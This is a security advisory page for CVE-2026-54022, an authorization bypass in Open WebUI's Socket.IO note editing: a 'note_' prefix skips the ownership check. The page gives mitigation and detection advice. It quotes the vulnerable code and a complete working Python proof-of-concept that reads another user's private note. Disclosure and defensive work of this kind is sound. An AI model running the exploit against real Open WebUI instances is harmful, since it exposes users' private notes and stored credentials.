CVE-2026-54022: open-webui: Yjs auth bypass exposes all user notes
GHSA-8788-j68r-3cgh MEDIUM CISA: TRACK*CVE-2026-54022 is an authorization bypass in Open WebUI's Socket.IO collaborative editing layer that allows any authenticated user to silently read the full contents of any other user's private notes by exploiting a single-character namespace collision — swapping the colon in `note:<id>` for an underscore to skip the authorization gate entirely while the storage layer serves the same document. Despite a medium CVSS of 5.3, EPSS ranks this in the top 86th percentile for exploitation likelihood, and open-webui has accumulated 107 CVEs, signaling sustained attacker interest in this package. Private notes in multi-user Open WebUI deployments routinely store LLM system prompts, API keys, credentials, and internal documentation, meaning a successful read can directly compromise downstream AI operations or cloud infrastructure. Upgrade to open-webui 0.8.11 immediately; if patching is blocked, monitor Socket.IO traffic for `ydoc:document:join` events carrying underscore-prefixed document IDs (`note_*`), which should never appear in legitimate usage.
What is the risk?
Effectively high despite medium CVSS. The bypass is trivially reproducible — swap one character in a socket payload — and requires only a valid account, not elevated privileges. The principal friction is obtaining the victim's note ID, which may be enumerable via the notes API if insufficient access controls exist on the listing endpoint. The AC:H vector component reflects the requirement that the victim must have previously opened the note to initialize the Yjs document in storage; this is a realistic precondition in any active deployment. With 107 CVEs in the same package and an EPSS placing this in the 86th percentile, active exploitation tooling is a credible near-term risk.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.8.10 | 0.8.11 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: upgrade open-webui to >= 0.8.11, which adds authorization enforcement for all document ID variants regardless of prefix character.
-
If immediate patching is not possible, restrict Open WebUI to single-user or trusted single-tenant deployments by disabling public or multi-user access at the reverse proxy layer.
-
Detection: instrument Socket.IO event logging to flag any
ydoc:document:joinevent wheredocument_idmatches the patternnote_[a-zA-Z0-9]+(underscore prefix) — this pattern is invalid in normal application flow and indicates exploitation attempt. -
Audit: review application logs and note-access records for any user joining document rooms they do not own; check whether note IDs were exposed through the
/api/v1/notes/listing endpoint to unauthorized callers. -
Rotate any credentials or API keys stored in Open WebUI notes as a precautionary measure.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54022?
CVE-2026-54022 is an authorization bypass in Open WebUI's Socket.IO collaborative editing layer that allows any authenticated user to silently read the full contents of any other user's private notes by exploiting a single-character namespace collision — swapping the colon in `note:<id>` for an underscore to skip the authorization gate entirely while the storage layer serves the same document. Despite a medium CVSS of 5.3, EPSS ranks this in the top 86th percentile for exploitation likelihood, and open-webui has accumulated 107 CVEs, signaling sustained attacker interest in this package. Private notes in multi-user Open WebUI deployments routinely store LLM system prompts, API keys, credentials, and internal documentation, meaning a successful read can directly compromise downstream AI operations or cloud infrastructure. Upgrade to open-webui 0.8.11 immediately; if patching is blocked, monitor Socket.IO traffic for `ydoc:document:join` events carrying underscore-prefixed document IDs (`note_*`), which should never appear in legitimate usage.
Is CVE-2026-54022 actively exploited?
No confirmed active exploitation of CVE-2026-54022 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54022?
1. Patch: upgrade open-webui to >= 0.8.11, which adds authorization enforcement for all document ID variants regardless of prefix character. 2. If immediate patching is not possible, restrict Open WebUI to single-user or trusted single-tenant deployments by disabling public or multi-user access at the reverse proxy layer. 3. Detection: instrument Socket.IO event logging to flag any `ydoc:document:join` event where `document_id` matches the pattern `note_[a-zA-Z0-9]+` (underscore prefix) — this pattern is invalid in normal application flow and indicates exploitation attempt. 4. Audit: review application logs and note-access records for any user joining document rooms they do not own; check whether note IDs were exposed through the `/api/v1/notes/` listing endpoint to unauthorized callers. 5. Rotate any credentials or API keys stored in Open WebUI notes as a precautionary measure.
What systems are affected by CVE-2026-54022?
This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces, multi-user LLM front-ends, collaborative AI workspaces, local LLM deployments with shared access.
What is the CVSS score for CVE-2026-54022?
CVE-2026-54022 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 0.32%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0036 Data from Information Repositories AML.T0049 Exploit Public-Facing Application AML.T0085 Data from AI Services Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary The `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(":", "_")`). An attacker can join a document room using `note_<id>` (underscore) instead of `note:<id>` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents. ### Details The `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix: ```python @sio.on("ydoc:document:join") async def ydoc_document_join(sid, data): document_id = data["document_id"] if document_id.startswith("note:"): note_id = document_id.split(":")[1] note = Notes.get_note_by_id(note_id) # ... ownership and AccessGrants check ... # Returns early if user doesn't have access # If document_id does NOT start with "note:", execution continues # with no authorization check at all await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid) await sio.enter_room(sid, f"doc_{document_id}") ydoc = Y.Doc() updates = await YDOC_MANAGER.get_updates(document_id) for update in updates: ydoc.apply_update(bytes(update)) state_update = ydoc.get_update() await sio.emit("ydoc:document:state", { "document_id": document_id, "state": list(state_update), }, room=sid) ``` The `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores: ```python async def get_updates(self, document_id: str) -> List[bytes]: document_id = document_id.replace(":", "_") # line 176 # ... returns updates keyed by normalized ID async def append_to_updates(self, document_id: str, update: bytes): document_id = document_id.replace(":", "_") # line 134 # ... stores update keyed by normalized ID ``` This means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith("note:")` authorization check but retrieves the same data from `YdocManager`. ### PoC ```python #!/usr/bin/env python3 """ uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS Finding #15 — Any authenticated user can read other users' private notes via Socket.IO SUMMARY: The ydoc:document:join Socket.IO handler only checks authorization for document IDs starting with "note:" (colon). However, YdocManager normalizes document IDs by replacing colons with underscores internally. An attacker can join a room using "note_<id>" (underscore) to bypass the auth check, while still accessing the same underlying Yjs document as "note:<id>". Then ydoc:document:state returns the full document content. VULNERABLE CODE: backend/open_webui/socket/main.py, ydoc:document:join: if document_id.startswith("note:"): # permission check only for colon-prefix # "note_<id>" skips this check entirely backend/open_webui/socket/ydoc.py, YdocManager: key = document_id.replace(":", "_") # normalizes to same storage key IMPACT: Any authenticated user can read the full content of any other user's notes by exploiting the namespace collision between "note:" and "note_" prefixes. REPRODUCTION: 1. Victim creates a private note with sensitive content. 2. Attacker connects via Socket.IO and authenticates. 3. Attacker joins room with document_id "note_<victim_note_id>" (underscore). 4. Attacker requests ydoc:document:state to get the full note content. REQUIREMENTS: - Running Open WebUI instance - A victim note with content - Attacker user (any authenticated user) """ import argparse import asyncio import sys import requests import socketio async def victim_initialize_note(base, victim_token, note_id): """Simulate victim opening the note in the UI to initialize the Yjs document.""" sio = socketio.AsyncClient() await sio.connect( base, socketio_path="/ws/socket.io", headers={"Authorization": f"Bearer {victim_token}"}, transports=["websocket"], ) # Join using the proper note:id format (passes auth check since victim owns it) doc_id = f"note:{note_id}" print(f" Joining as victim with document_id: {doc_id}") await sio.emit("ydoc:document:join", { "document_id": doc_id, "user_id": "victim", "user_name": "Victim", }) await asyncio.sleep(1) # Send a Yjs update with the note content # Create a simple Yjs document with text content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: # If pycrdt not available, try y-py try: import y_py as Y ydoc = Y.YDoc() ytext = ydoc.get_text("default") with ydoc.begin_transaction() as txn: ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone.") update = txn.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker") # Send a minimal marker that we can detect raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER") await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": raw_update, }) await asyncio.sleep(1) await sio.disconnect() print(f" Victim disconnected") async def exploit(base, attacker_token, victim_note_id): sio = socketio.AsyncClient() result = {"state": None, "error": None, "joined": False} @sio.on("ydoc:document:state") async def on_state(data): result["state"] = data print(f" [!] Received ydoc:document:state event!") print(f" document_id: {data.get('document_id', '?')}") state = data.get("state", []) print(f" State size: {len(state)} bytes") @sio.on("error") async def on_error(data): result["error"] = data print(f" [!] Error event: {data}") @sio.on("*") async def catch_all(event, data): if event not in ("ydoc:document:state", "error"): print(f" [debug] Event: {event} Data: {str(data)[:200]}") # Connect with auth token print(f"[*] Connecting as attacker to Socket.IO...") await sio.connect( base, socketio_path="/ws/socket.io", auth={"token": attacker_token}, transports=["websocket"], ) # Join with "note_" prefix (underscore — bypasses auth) bypass_doc_id = f"note_{victim_note_id}" print(f"\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}") print(f" (using underscore instead of colon to skip auth check)") await sio.emit("ydoc:document:join", { "document_id": bypass_doc_id, "user_id": "attacker", "user_name": "Attacker", }) result["joined"] = True # Wait for state response (from join handler's emit) for _ in range(20): await asyncio.sleep(0.5) if result["state"]: break await sio.disconnect() return result def main(): parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision") parser.add_argument("--base-url", required=True) parser.add_argument("--attacker-email", required=True) parser.add_argument("--attacker-password", required=True) parser.add_argument("--victim-email", required=True) parser.add_argument("--victim-password", required=True) args = parser.parse_args() base = args.base_url.rstrip("/") # ── Step 1: Login as victim and find their note ── print("[*] Authenticating as victim...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.victim_email, "password": args.victim_password}) if not r.ok: print(f"[-] Victim login failed: {r.status_code}") sys.exit(1) victim_token = r.json()["token"] victim_id = r.json()["id"] print(f"[+] Logged in as victim (id={victim_id})") r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim_token}"}) if not r.ok: print(f"[-] Failed to list victim notes: {r.status_code}") sys.exit(1) notes = r.json() if isinstance(notes, dict): notes = notes.get("items", notes.get("data", [])) if not notes: print("[-] No victim notes found") sys.exit(1) victim_note = notes[0] victim_note_id = victim_note["id"] print(f"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})") # ── Step 2: Login as attacker ── print(f"\n[*] Authenticating as attacker...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.attacker_email, "password": args.attacker_password}) if not r.ok: print(f"[-] Attacker login failed: {r.status_code}") sys.exit(1) attacker_token = r.json()["token"] attacker_id = r.json()["id"] print(f"[+] Logged in as attacker (id={attacker_id})") # ── Step 3: Confirm attacker CANNOT read victim's note via API ── print(f"\n[*] Step 1: Confirming attacker cannot read victim's note via API...") r = requests.get(f"{base}/api/v1/notes/{victim_note_id}", headers={"Authorization": f"Bearer {attacker_token}"}) if r.status_code in (401, 403, 404): print(f"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})") else: print(f"[!] Unexpected: attacker can read note (status {r.status_code})") # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ── async def combined_exploit(): # Victim opens note and stays connected print(f"\n[*] Step 2: Victim opens note (stays connected)...") victim_sio = socketio.AsyncClient() await victim_sio.connect( base, socketio_path="/ws/socket.io", auth={"token": victim_token}, transports=["websocket"], ) doc_id = f"note:{victim_note_id}" await victim_sio.emit("ydoc:document:join", { "document_id": doc_id, "user_id": "victim", "user_name": "Victim", }) await asyncio.sleep(1) # Send Yjs update with note content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.get_update() await victim_sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update ({len(update)} bytes)") except Exception as e: print(f" WARNING: Could not create Yjs update: {e}") await asyncio.sleep(1) # Now attacker joins while victim is still connected result = await exploit(base, attacker_token, victim_note_id) # Clean up victim connection await victim_sio.disconnect() return result result = asyncio.run(combined_exploit()) if not result["joined"]: print(f"\n[-] Failed to join document room") sys.exit(1) if result["state"]: state_data = result["state"] state_bytes = bytes(state_data.get("state", [])) # Try to extract readable text from the Yjs state # Yjs binary format contains the text as embedded strings text_content = "" try: # Search for readable ASCII strings in the binary data current_str = "" for b in state_bytes: if 32 <= b < 127: current_str += chr(b) else: if len(current_str) > 5: text_content += current_str + " " current_str = "" if len(current_str) > 5: text_content += current_str except Exception: pass print(f"\n[+] Extracted text from Yjs state:") print(f" {text_content[:500]}") # Check for sensitive markers sensitive_markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"] found = [m for m in sensitive_markers if m.lower() in text_content.lower()] if found: print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!") print(f" Sensitive markers found: {found}") print(f" The attacker joined room 'doc_note_{victim_note_id}' (underscore)") print(f" which bypasses the auth check (only checks 'note:' colon prefix)") print(f" but accesses the same Yjs document due to normalization.") sys.exit(0) elif text_content.strip(): print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)") print(f" Non-empty Yjs state was returned for victim's note.") sys.exit(0) else: print(f"\n[*] Yjs state was returned but could not extract readable text.") print(f" Raw state size: {len(state_bytes)} bytes") if len(state_bytes) > 10: print(f" First 50 bytes: {list(state_bytes[:50])}") print(f"[+] SUCCESS: Non-trivial document state returned") sys.exit(0) sys.exit(1) else: print(f"\n[-] No document state received") print(f" The Yjs document may not exist in storage yet.") print(f" Notes must be opened in the UI to create a Yjs document.") sys.exit(1) if __name__ == "__main__": main() ``` ### Impact Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.
Exploitation Scenario
An insider threat or compromised account holder authenticates to the Open WebUI instance. The attacker calls `/api/v1/notes/` with their own token to retrieve the note listing; if the API returns all notes (not scoped to the caller), note IDs are directly exposed. Alternatively, the attacker observes note IDs via browser devtools while a victim navigates the UI, or brute-forces UUIDs. Once in possession of a target note ID, the attacker opens a WebSocket to `/ws/socket.io`, authenticates with their own bearer token, and emits `ydoc:document:join` with `document_id: 'note_<victim_id>'`. The server's authorization gate — which checks only for the `note:` colon prefix — passes silently, and the server immediately emits back the full Yjs document state encoding the victim's note content. The attacker decodes the CRDT binary stream to extract plaintext, potentially recovering credentials, LLM system prompts, or internal documentation in under two seconds with no detectable footprint in application-level audit logs.
Weaknesses (CWE)
CWE-706 Use of Incorrectly-Resolved Name or Reference
Primary
CWE-863 Incorrect Authorization
Primary
CWE-706 Use of Incorrectly-Resolved Name or Reference CWE-863 Incorrect Authorization CWE-706 — Use of Incorrectly-Resolved Name or Reference: The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui